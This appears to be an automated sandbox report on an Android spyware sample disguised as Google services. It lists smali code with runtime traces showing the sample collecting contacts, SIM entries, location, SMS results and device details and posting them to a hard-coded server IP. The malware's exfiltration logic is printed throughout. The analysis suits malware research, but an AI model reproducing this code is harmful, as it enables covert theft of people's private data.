72invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: ,SDK version:
73move-result-object v0
75sget-object v1, Landroid/os/Build$VERSION;->SDK:Ljava/lang/String;
  • Time: 230857
    • Return:
      • 17
77invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
78move-result-object v0
80const-string v1, ",OS version:"
82invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: ,OS version:
83move-result-object v0
85sget-object v1, Landroid/os/Build$VERSION;->RELEASE:Ljava/lang/String;
  • Time: 230858
    • Return:
      • 4.2.1
87invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
88move-result-object v0
90const-string v1, "#"
92invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: #
93move-result-object v0
95invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
96move-result-object v0
97new-instance v1, Ljava/lang/StringBuilder;
99invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
101invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
102move-result-object v0
104invoke-direct {p0}, Lcom/google/services/AlarmService;->getPhoneContacts()Ljava/lang/String;
105move-result-object v1
107invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
108move-result-object v0
110invoke-direct {p0}, Lcom/google/services/AlarmService;->getSIMContacts()Ljava/lang/String;
111move-result-object v1
113invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
114move-result-object v0
116invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
117move-result-object v0
118new-instance v1, Landroid/content/Intent;
120invoke-direct {v1}, Landroid/content/Intent;-><init>()V
122const-string v2, "com.google.system.receiver"
124invoke-virtual {v1, v2}, Landroid/content/Intent;->setAction(Ljava/lang/String;)Landroid/content/Intent;
  • Data flow analysis:
    • p0: com.google.system.receiver
125new-instance v2, Landroid/os/Bundle;
127invoke-direct {v2}, Landroid/os/Bundle;-><init>()V
129const-string v3, "contact"
131invoke-virtual {v2, v3, v0}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
  • Data flow analysis:
    • p0: contact
133invoke-virtual {v1, v2}, Landroid/content/Intent;->putExtras(Landroid/os/Bundle;)Landroid/content/Intent;
  • Time: 230877
    • p0: Bundle[{contact=mobile:Galaxy Nexus,SDK version:17,OS version:4.2.1#}]
    • Return:
      • Intent { act=com.google.system.receiver (has extras) }
135invoke-virtual {p0, v1}, Lcom/google/services/AlarmService;->sendBroadcast(Landroid/content/Intent;)V
  • Time: 230879
    • p0: Intent { act=com.google.system.receiver (has extras) }
136return-void
137catch_bb: move-exception v0
138goto/16 :goto_4e
APIs
  • java.lang.String.equals
  • org.apache.http.client.methods.HttpPost.<init>
  • java.util.ArrayList.<init>
  • java.lang.String.toString
  • org.apache.http.message.BasicNameValuePair.<init>
  • java.util.List.add
  • org.apache.http.client.entity.UrlEncodedFormEntity.<init>
  • org.apache.http.client.methods.HttpPost.setEntity
  • org.apache.http.impl.client.DefaultHttpClient.<init>
  • org.apache.http.impl.client.DefaultHttpClient.getParams
  • java.lang.Integer.valueOf
  • org.apache.http.impl.client.DefaultHttpClient.getParams
  • java.lang.Integer.valueOf
  • org.apache.http.params.BasicHttpParams.setParameter
  • org.apache.http.impl.client.DefaultHttpClient.execute
  • org.apache.http.HttpResponse.getStatusLine
  • org.apache.http.StatusLine.getStatusCode
  • android.util.Log.i
Strings
  • UTF-8
  • http.connection.timeout
  • http.socket.timeout
  • sendInfo
  • \u7f51\u7edc\u4e0d\u901a
Position Instruction Meta Information
0.parameter
1.parameter
2.prologue
3const/4 v0, 0x0
5iget-object v1, p0, Lcom/google/services/SendInfo;->urlstr:Ljava/lang/String;
6const/4 v2, 0x0
8invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: 0
9move-result v1
10if-nez v1, :cond_76
11try_start_a: new-instance v1, Lorg/apache/http/client/methods/HttpPost;
13iget-object v2, p0, Lcom/google/services/SendInfo;->urlstr:Ljava/lang/String;
15invoke-direct {v1, v2}, Lorg/apache/http/client/methods/HttpPost;-><init>(Ljava/lang/String;)V
16new-instance v2, Ljava/util/ArrayList;
18invoke-direct {v2}, Ljava/util/ArrayList;-><init>()V
19new-instance v3, Lorg/apache/http/message/BasicNameValuePair;
21invoke-virtual {p1}, Ljava/lang/String;->toString()Ljava/lang/String;
22move-result-object v4
24invoke-virtual {p2}, Ljava/lang/String;->toString()Ljava/lang/String;
25move-result-object v5
27invoke-direct {v3, v4, v5}, Lorg/apache/http/message/BasicNameValuePair;-><init>(Ljava/lang/String;Ljava/lang/String;)V
29invoke-interface {v2, v3}, Ljava/util/List;->add(Ljava/lang/Object;)Z
30new-instance v3, Lorg/apache/http/client/entity/UrlEncodedFormEntity;
32const-string v4, "UTF-8"
34invoke-direct {v3, v2, v4}, Lorg/apache/http/client/entity/UrlEncodedFormEntity;-><init>(Ljava/util/List;Ljava/lang/String;)V
  • Data flow analysis:
    • p1: UTF-8
36invoke-virtual {v1, v3}, Lorg/apache/http/client/methods/HttpPost;->setEntity(Lorg/apache/http/HttpEntity;)V
37new-instance v2, Lorg/apache/http/impl/client/DefaultHttpClient;
39invoke-direct {v2}, Lorg/apache/http/impl/client/DefaultHttpClient;-><init>()V
41invoke-virtual {v2}, Lorg/apache/http/impl/client/DefaultHttpClient;->getParams()Lorg/apache/http/params/HttpParams;
42move-result-object v3
44const-string v4, "http.connection.timeout"
45const/16 v5, 0x1770
47invoke-static {v5}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
  • Data flow analysis:
    • p0: 6000
48move-result-object v5
50invoke-interface {v3, v4, v5}, Lorg/apache/http/params/HttpParams;->setParameter(Ljava/lang/String;Ljava/lang/Object;)Lorg/apache/http/params/HttpParams;
  • Time: 289300
    • p0: http.connection.timeout
    • p1: 6000
    • Return:
      • org.apache.http.params.BasicHttpParams@a0a70880
  • Time: 290452
    • p0: http.connection.timeout
    • p1: 6000
    • Return:
      • org.apache.http.params.BasicHttpParams@a0a64a58
  • Time: 291561
    • p0: http.connection.timeout
    • p1: 6000
    • Return:
      • org.apache.http.params.BasicHttpParams@a0675018
52invoke-virtual {v2}, Lorg/apache/http/impl/client/DefaultHttpClient;->getParams()Lorg/apache/http/params/HttpParams;
53move-result-object v3
55const-string v4, "http.socket.timeout"
56const/16 v5, 0x1770
58invoke-static {v5}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
  • Data flow analysis:
    • p0: 6000
59move-result-object v5
61invoke-interface {v3, v4, v5}, Lorg/apache/http/params/HttpParams;->setParameter(Ljava/lang/String;Ljava/lang/Object;)Lorg/apache/http/params/HttpParams;
  • Time: 289302
    • p0: http.socket.timeout
    • p1: 6000
    • Return:
      • org.apache.http.params.BasicHttpParams@a0a70880
  • Time: 290453
    • p0: http.socket.timeout
    • p1: 6000
    • Return:
      • org.apache.http.params.BasicHttpParams@a0a64a58
  • Time: 291562
    • p0: http.socket.timeout
    • p1: 6000
    • Return:
      • org.apache.http.params.BasicHttpParams@a0675018
63invoke-virtual {v2, v1}, Lorg/apache/http/impl/client/DefaultHttpClient;->execute(Lorg/apache/http/client/methods/HttpUriRequest;)Lorg/apache/http/HttpResponse;
  • Time: 290448
    • p0: org.apache.http.client.methods.HttpPost@a0a75458
    • p0.getEntity.decodeBase64: sms=;no result!
    • p0.getEntity.getContentType: Content-Type: application/x-www-form-urlencoded
    • p0.getEntity.toString: sms=O25vIHJlc3VsdCHlrozmr5U=
    • p0.getURI: http://64.78.161.133/data/phone1368529863900/process.php
    • Return:
      • org.apache.http.message.BasicHttpResponse@a0a03888
  • Time: 291552
    • p0: org.apache.http.client.methods.HttpPost@a0a64690
    • p0.getEntity.decodeBase64: contact=;mobile:Galaxy Nexus,SDK version:17,OS version:4.2.1#
    • p0.getEntity.getContentType: Content-Type: application/x-www-form-urlencoded
    • p0.getEntity.toString: contact=O21vYmlsZTpHYWxheHkgTmV4dXMsU0RLIHZlcnNpb246MTcsT1MgdmVyc2lvbjo0LjIuMSM=
    • p0.getURI: http://64.78.161.133/data/phone1368529863900/process.php
    • Return:
      • org.apache.http.message.BasicHttpResponse@a0aa1d00
  • Time: 292992
    • p0: org.apache.http.client.methods.HttpPost@a09e4f80
    • p0.getEntity.decodeBase64: location=;No location found
    • p0.getEntity.getContentType: Content-Type: application/x-www-form-urlencoded
    • p0.getEntity.toString: location=O05vIGxvY2F0aW9uIGZvdW5k
    • p0.getURI: http://64.78.161.133/data/phone1368529863900/process.php
    • Return:
      • org.apache.http.message.BasicHttpResponse@a067bb90
64move-result-object v1
66invoke-interface {v1}, Lorg/apache/http/HttpResponse;->getStatusLine()Lorg/apache/http/StatusLine;
67move-result-object v1
69invoke-interface {v1}, Lorg/apache/http/StatusLine;->getStatusCode()I
  • Time: 290449
    • Return:
      • 200
70move-result v1
71const/16 v2, 0xc8
72if-ne v1, v2, :cond_65
73const/4 v0, 0x1
74goto_64: return v0
75cond_65:
76const-string v1, "sendInfo"
78const-string v2, "\u7f51\u7edc\u4e0d\u901a"
80invoke-static {v1, v2}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: sendInfo
    • msg: \u7f51\u7edc\u4e0d\u901a
81try_end_6c: goto/16 :goto_64
82catch_6d: move-exception v1
84const-string v1, "sendInfo"
86const-string v2, "\u7f51\u7edc\u4e0d\u901a"
88invoke-static {v1, v2}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: sendInfo
    • msg: \u7f51\u7edc\u4e0d\u901a
89goto/16 :goto_64
90cond_76:
91const-string v1, "sendInfo"
93const-string v2, "\u7f51\u7edc\u4e0d\u901a"
95invoke-static {v1, v2}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: sendInfo
    • msg: \u7f51\u7edc\u4e0d\u901a
96goto/16 :goto_64
APIs
  • org.apache.http.client.methods.HttpPost.<init>
  • java.util.ArrayList.<init>
  • java.lang.String.toString
  • org.apache.http.message.BasicNameValuePair.<init>
  • java.util.List.add
  • org.apache.http.client.entity.UrlEncodedFormEntity.<init>
  • org.apache.http.client.methods.HttpPost.setEntity
  • org.apache.http.impl.client.DefaultHttpClient.<init>
  • org.apache.http.impl.client.DefaultHttpClient.getParams
  • java.lang.Integer.valueOf
  • org.apache.http.impl.client.DefaultHttpClient.getParams
  • java.lang.Integer.valueOf
  • org.apache.http.params.BasicHttpParams.setParameter
  • org.apache.http.impl.client.DefaultHttpClient.execute
  • org.apache.http.HttpResponse.getStatusLine
  • org.apache.http.StatusLine.getStatusCode
  • android.util.Log.i
Strings
  • UTF-8
  • http.connection.timeout
  • http.socket.timeout
  • sendInfo
  • \u7f51\u7edc\u4e0d\u901a
Position Instruction Meta Information
0.parameter
1.parameter
2.prologue
3monitor-enter p0
4try_start_1: new-instance v0, Lorg/apache/http/client/methods/HttpPost;
6iget-object v1, p0, Lcom/google/services/SendInfo;->urlstr:Ljava/lang/String;
8invoke-direct {v0, v1}, Lorg/apache/http/client/methods/HttpPost;-><init>(Ljava/lang/String;)V
9new-instance v1, Ljava/util/ArrayList;
11invoke-direct {v1}, Ljava/util/ArrayList;-><init>()V
12new-instance v2, Lorg/apache/http/message/BasicNameValuePair;
14invoke-virtual {p1}, Ljava/lang/String;->toString()Ljava/lang/String;
15move-result-object v3
17invoke-virtual {p2}, Ljava/lang/String;->toString()Ljava/lang/String;
18move-result-object v4
20invoke-direct {v2, v3, v4}, Lorg/apache/http/message/BasicNameValuePair;-><init>(Ljava/lang/String;Ljava/lang/String;)V
22invoke-interface {v1, v2}, Ljava/util/List;->add(Ljava/lang/Object;)Z
23try_end_1d: const/4 v2, 0x0
24try_start_1e: iput-boolean v2, p0, Lcom/google/services/SendInfo;->okFlag:Z
25new-instance v2, Lorg/apache/http/client/entity/UrlEncodedFormEntity;
27const-string v3, "UTF-8"
29invoke-direct {v2, v1, v3}, Lorg/apache/http/client/entity/UrlEncodedFormEntity;-><init>(Ljava/util/List;Ljava/lang/String;)V
  • Data flow analysis:
    • p1: UTF-8
31invoke-virtual {v0, v2}, Lorg/apache/http/client/methods/HttpPost;->setEntity(Lorg/apache/http/HttpEntity;)V
32new-instance v1, Lorg/apache/http/impl/client/DefaultHttpClient;
34invoke-direct {v1}, Lorg/apache/http/impl/client/DefaultHttpClient;-><init>()V
36invoke-virtual {v1}, Lorg/apache/http/impl/client/DefaultHttpClient;->getParams()Lorg/apache/http/params/HttpParams;
37move-result-object v2
39const-string v3, "http.connection.timeout"
40const/16 v4, 0x2710
42invoke-static {v4}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
  • Data flow analysis:
    • p0: 10000
43move-result-object v4
45invoke-interface {v2, v3, v4}, Lorg/apache/http/params/HttpParams;->setParameter(Ljava/lang/String;Ljava/lang/Object;)Lorg/apache/http/params/HttpParams;
  • Time: 169266
    • p0: http.connection.timeout
    • p1: 10000
    • Return:
      • org.apache.http.params.BasicHttpParams@a09b8298
  • Time: 229278
    • p0: http.connection.timeout
    • p1: 10000
    • Return:
      • org.apache.http.params.BasicHttpParams@a0a213a8
  • Time: 230919
    • p0: http.connection.timeout
    • p1: 10000
    • Return:
      • org.apache.http.params.BasicHttpParams@a0a34bf8
  • Time: 230934
    • p0: http.connection.timeout
    • p1: 10000
    • Return:
      • org.apache.http.params.BasicHttpParams@a0aad318
  • Time: 231021
    • p0: http.connection.timeout
    • p1: 10000
    • Return:
      • org.apache.http.params.BasicHttpParams@a09ddb30
47invoke-virtual {v1}, Lorg/apache/http/impl/client/DefaultHttpClient;->getParams()Lorg/apache/http/params/HttpParams;
48move-result-object v2
50const-string v3, "http.socket.timeout"
51const/16 v4, 0x2710
53invoke-static {v4}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
  • Data flow analysis:
    • p0: 10000
54move-result-object v4
56invoke-interface {v2, v3, v4}, Lorg/apache/http/params/HttpParams;->setParameter(Ljava/lang/String;Ljava/lang/Object;)Lorg/apache/http/params/HttpParams;
  • Time: 169268
    • p0: http.socket.timeout
    • p1: 10000
    • Return:
      • org.apache.http.params.BasicHttpParams@a09b8298
  • Time: 229280
    • p0: http.socket.timeout
    • p1: 10000
    • Return:
      • org.apache.http.params.BasicHttpParams@a0a213a8
  • Time: 230920
    • p0: http.socket.timeout
    • p1: 10000
    • Return:
      • org.apache.http.params.BasicHttpParams@a0a34bf8
  • Time: 231011
    • p0: http.socket.timeout
    • p1: 10000
    • Return:
      • org.apache.http.params.BasicHttpParams@a0aad318
  • Time: 231022
    • p0: http.socket.timeout
    • p1: 10000
    • Return:
      • org.apache.http.params.BasicHttpParams@a09ddb30
58invoke-virtual {v1, v0}, Lorg/apache/http/impl/client/DefaultHttpClient;->execute(Lorg/apache/http/client/methods/HttpUriRequest;)Lorg/apache/http/HttpResponse;
  • Time: 169274
    • p0: org.apache.http.client.methods.HttpPost@a0984df0
    • p0.getEntity.decodeBase64: create='{]
    • p0.getEntity.getContentType: Content-Type: application/x-www-form-urlencoded
    • p0.getEntity.toString: create=phone1368529863900
    • p0.getURI: http://64.78.161.133/android.php
    • Return:
      • null
  • Time: 230798
    • p0: org.apache.http.client.methods.HttpPost@a0a20cb8
    • p0.getEntity.decodeBase64: create='{]
    • p0.getEntity.getContentType: Content-Type: application/x-www-form-urlencoded
    • p0.getEntity.toString: create=phone1368529863900
    • p0.getURI: http://64.78.161.133/android.php
    • Return:
      • org.apache.http.message.BasicHttpResponse@a0a5f928
  • Time: 230922
    • p0: org.apache.http.client.methods.HttpPost@a09db3b8
    • p0.getEntity.decodeBase64: location=No location found
    • p0.getEntity.getContentType: Content-Type: application/x-www-form-urlencoded
    • p0.getEntity.toString: location=Tm8gbG9jYXRpb24gZm91bmQ=
    • p0.getURI: http://64.78.161.133/data/phone1368529863900/process.php
    • Return:
      • null
  • Time: 231013
    • p0: org.apache.http.client.methods.HttpPost@a0aacaa8
    • p0.getEntity.decodeBase64: contact=mobile:Galaxy Nexus,SDK version:17,OS version:4.2.1#
    • p0.getEntity.getContentType: Content-Type: application/x-www-form-urlencoded
    • p0.getEntity.toString: contact=bW9iaWxlOkdhbGF4eSBOZXh1cyxTREsgdmVyc2lvbjoxNyxPUyB2ZXJzaW9uOjQuMi4xIw==
    • p0.getURI: http://64.78.161.133/data/phone1368529863900/process.php
    • Return:
      • null
  • Time: 231024
    • p0: org.apache.http.client.methods.HttpPost@a0a13e78
    • p0.getEntity.decodeBase64: sms=no result!
    • p0.getEntity.getContentType: Content-Type: application/x-www-form-urlencoded
    • p0.getEntity.toString: sms=bm8gcmVzdWx0IeWujOavlQ==
    • p0.getURI: http://64.78.161.133/data/phone1368529863900/process.php
    • Return:
      • null
59move-result-object v0
61invoke-interface {v0}, Lorg/apache/http/HttpResponse;->getStatusLine()Lorg/apache/http/StatusLine;
62move-result-object v0
64invoke-interface {v0}, Lorg/apache/http/StatusLine;->getStatusCode()I
  • Time: 230819
    • Return:
      • 200
65move-result v0
66const/16 v1, 0xc8
67if-ne v0, v1, :cond_60
68const/4 v0, 0x1
69iput-boolean v0, p0, Lcom/google/services/SendInfo;->okFlag:Z
70cond_60: monitor-exit p0
71return-void
72catch_62: move-exception v0
73try_start_63:
74const-string v0, "sendInfo"
76const-string v1, "\u7f51\u7edc\u4e0d\u901a"
78invoke-static {v0, v1}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: sendInfo
    • msg: \u7f51\u7edc\u4e0d\u901a
79try_end_6a: goto/16 :goto_60
80catchall_6b: move-exception v0
81monitor-exit p0
82throw v0
83catch_6e: move-exception v0
84try_start_6f:
85const-string v0, "sendInfo"
87const-string v1, "\u7f51\u7edc\u4e0d\u901a"
89invoke-static {v0, v1}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: sendInfo
    • msg: \u7f51\u7edc\u4e0d\u901a
90goto/16 :goto_60
91catch_77: move-exception v0
93const-string v0, "sendInfo"
95const-string v1, "\u7f51\u7edc\u4e0d\u901a"
97invoke-static {v0, v1}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: sendInfo
    • msg: \u7f51\u7edc\u4e0d\u901a
98try_end_7f: goto/16 :goto_60
APIs
  • android.content.Context.getContentResolver
  • android.net.Uri.parse
  • android.content.ContentResolver.query
  • android.database.Cursor.moveToNext
  • android.database.Cursor.getString
  • android.text.TextUtils.isEmpty
  • android.database.Cursor.getString
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.database.Cursor.close
Strings
  • content://icc/adn
  • name:
  • ,phonenumber:
  • ;
Position Instruction Meta Information
0.prologue
1const/4 v3, 0x0
3iget-object v0, p0, Lcom/google/services/AlarmService;->mContext:Landroid/content/Context;
5invoke-virtual {v0}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
6move-result-object v0
8const-string v1, "content://icc/adn"
10invoke-static {v1}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
  • Time: 230868
    • uriString: content://icc/adn
    • Return:
      • content://icc/adn
11move-result-object v1
13sget-object v2, Lcom/google/services/AlarmService;->PHONES_PROJECTION:[Ljava/lang/String;
14move-object v4, v3
15move-object v5, v3
17invoke-virtual/range {v0 .. v5}, Landroid/content/ContentResolver;->query(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
  • Time: 230872
    • p0: content://icc/adn
    • p1: [Ljava.lang.String;@a09bf818
    • p1.Arrays.toString: [display_name, data1]
    • p2: null
    • p3: null
    • p4: null
    • Return:
      • android.content.ContentResolver$CursorWrapperInner@a09c4e48
18move-result-object v1
20const-string v0, ""
21if-eqz v1, :cond_5a
22cond_19:
23invoke-interface {v1}, Landroid/database/Cursor;->moveToNext()Z
24move-result v2
25if-eqz v2, :cond_57
26const/4 v2, 0x1
28invoke-interface {v1, v2}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
  • Data flow analysis:
    • p0: 1
29move-result-object v2
31invoke-static {v2}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
32move-result v3
33if-nez v3, :cond_19
34const/4 v3, 0x0
36invoke-interface {v1, v3}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
  • Data flow analysis:
    • p0: 0
37move-result-object v3
38new-instance v4, Ljava/lang/StringBuilder;
40invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
42invoke-virtual {v4, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
43move-result-object v0
45const-string v4, "name:"
47invoke-virtual {v0, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: name:
48move-result-object v0
50invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
51move-result-object v0
53const-string v3, ",phonenumber:"
55invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: ,phonenumber:
56move-result-object v0
58invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
59move-result-object v0
61const-string v2, ";"
63invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: ;
64move-result-object v0
66invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
67move-result-object v0
68goto/16 :goto_19
69cond_57:
70invoke-interface {v1}, Landroid/database/Cursor;->close()V
71cond_5a: return-object v0
APIs
  • android.location.Location.getLatitude
  • android.location.Location.getLongitude
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.content.Intent.<init>
  • android.content.Intent.setAction
  • android.os.Bundle.<init>
  • android.os.Bundle.putString
  • android.content.Intent.putExtras
  • com.google.services.AlarmService.sendBroadcast
Strings
  • Long&Lat:
  • ,
  • com.google.system.receiver
  • location
  • No location found
Position Instruction Meta Information
0.parameter
1.prologue
2if-eqz p1, :cond_42
4invoke-virtual {p1}, Landroid/location/Location;->getLatitude()D
5move-result-wide v0
7invoke-virtual {p1}, Landroid/location/Location;->getLongitude()D
8move-result-wide v2
9new-instance v4, Ljava/lang/StringBuilder;
11invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
13const-string v5, "Long&Lat:"
15invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: Long&Lat:
16move-result-object v4
18invoke-virtual {v4, v2, v3}, Ljava/lang/StringBuilder;->append(D)Ljava/lang/StringBuilder;
19move-result-object v2
21const-string v3, ","
23invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: ,
24move-result-object v2
26invoke-virtual {v2, v0, v1}, Ljava/lang/StringBuilder;->append(D)Ljava/lang/StringBuilder;
27move-result-object v0
29invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
30move-result-object v0
31goto_27: new-instance v1, Landroid/content/Intent;
33invoke-direct {v1}, Landroid/content/Intent;-><init>()V
35const-string v2, "com.google.system.receiver"
37invoke-virtual {v1, v2}, Landroid/content/Intent;->setAction(Ljava/lang/String;)Landroid/content/Intent;
  • Data flow analysis:
    • p0: com.google.system.receiver
38new-instance v2, Landroid/os/Bundle;
40invoke-direct {v2}, Landroid/os/Bundle;-><init>()V
42const-string v3, "location"
44invoke-virtual {v2, v3, v0}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
  • Data flow analysis:
    • p0: location
46invoke-virtual {v1, v2}, Landroid/content/Intent;->putExtras(Landroid/os/Bundle;)Landroid/content/Intent;
  • Time: 230830
    • p0: Bundle[{location=No location found}]
    • Return:
      • Intent { act=com.google.system.receiver (has extras) }
48invoke-virtual {p0, v1}, Lcom/google/services/AlarmService;->sendBroadcast(Landroid/content/Intent;)V
  • Time: 230831
    • p0: Intent { act=com.google.system.receiver (has extras) }
49return-void
50cond_42:
51const-string v0, "No location found"
52goto/16 :goto_27
APIs
  • android.content.Context.getContentResolver
  • android.content.ContentResolver.query
  • android.database.Cursor.moveToNext
  • android.database.Cursor.getString
  • android.text.TextUtils.isEmpty
  • android.database.Cursor.getString
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.database.Cursor.close
Strings
  • name:
  • ,phonenumber:
  • ;
Position Instruction Meta Information
0.prologue
1const/4 v3, 0x0
3iget-object v0, p0, Lcom/google/services/AlarmService;->mContext:Landroid/content/Context;
5invoke-virtual {v0}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
6move-result-object v0
8sget-object v1, Landroid/provider/ContactsContract$CommonDataKinds$Phone;->CONTENT_URI:Landroid/net/Uri;
10sget-object v2, Lcom/google/services/AlarmService;->PHONES_PROJECTION:[Ljava/lang/String;
11move-object v4, v3
12move-object v5, v3
14invoke-virtual/range {v0 .. v5}, Landroid/content/ContentResolver;->query(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
  • Time: 230866
    • p0: content://com.android.contacts/data/phones
    • p1: [Ljava.lang.String;@a09bf818
    • p1.Arrays.toString: [display_name, data1]
    • p2: null
    • p3: null
    • p4: null
    • Return:
      • android.content.ContentResolver$CursorWrapperInner@a06795a8
15move-result-object v1
17const-string v0, ""
18if-eqz v1, :cond_56
19cond_15:
20invoke-interface {v1}, Landroid/database/Cursor;->moveToNext()Z
21move-result v2
22if-eqz v2, :cond_53
23const/4 v2, 0x1
25invoke-interface {v1, v2}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
  • Data flow analysis:
    • p0: 1
26move-result-object v2
28invoke-static {v2}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
29move-result v3
30if-nez v3, :cond_15
31const/4 v3, 0x0
33invoke-interface {v1, v3}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
  • Data flow analysis:
    • p0: 0
34move-result-object v3
35new-instance v4, Ljava/lang/StringBuilder;
37invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
39invoke-virtual {v4, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
40move-result-object v0
42const-string v4, "name:"
44invoke-virtual {v0, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: name:
45move-result-object v0
47invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
48move-result-object v0
50const-string v3, ",phonenumber:"
52invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: ,phonenumber:
53move-result-object v0
55invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
56move-result-object v0
58const-string v2, ";"
60invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: ;
61move-result-object v0
63invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
64move-result-object v0
65goto/16 :goto_15
66cond_53:
67invoke-interface {v1}, Landroid/database/Cursor;->close()V
68cond_56: return-object v0
APIs
  • android.app.ContextImpl.getSystemService
  • android.net.ConnectivityManager.getActiveNetworkInfo
  • android.net.NetworkInfo.isAvailable
Strings
  • connectivity
Position Instruction Meta Information
0.parameter
1.prologue
2const/4 v1, 0x0
3if-eqz p1, :cond_19
5const-string v0, "connectivity"
7invoke-virtual {p1, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
  • Time: 169261
    • p0: connectivity
    • Return:
      • android.net.ConnectivityManager@a0a6c780
8move-result-object v0
9check-cast v0, Landroid/net/ConnectivityManager;
11invoke-virtual {v0}, Landroid/net/ConnectivityManager;->getActiveNetworkInfo()Landroid/net/NetworkInfo;
  • Time: 169262
    • Return:
      • NetworkInfo: type: MOBILE[???], state: CONNECTED/CONNECTED, reason: (unspecified), extra: (none), roaming: false, failover: false, isAvailable: false
12move-result-object v0
13if-eqz v0, :cond_19
14const/4 v1, 0x1
15iput-boolean v1, p0, Lcom/google/services/PhoneService;->linkFlag:Z
17invoke-virtual {v0}, Landroid/net/NetworkInfo;->isAvailable()Z
  • Time: 169264
    • Return:
      • true
18move-result v0
19goto_18: return v0
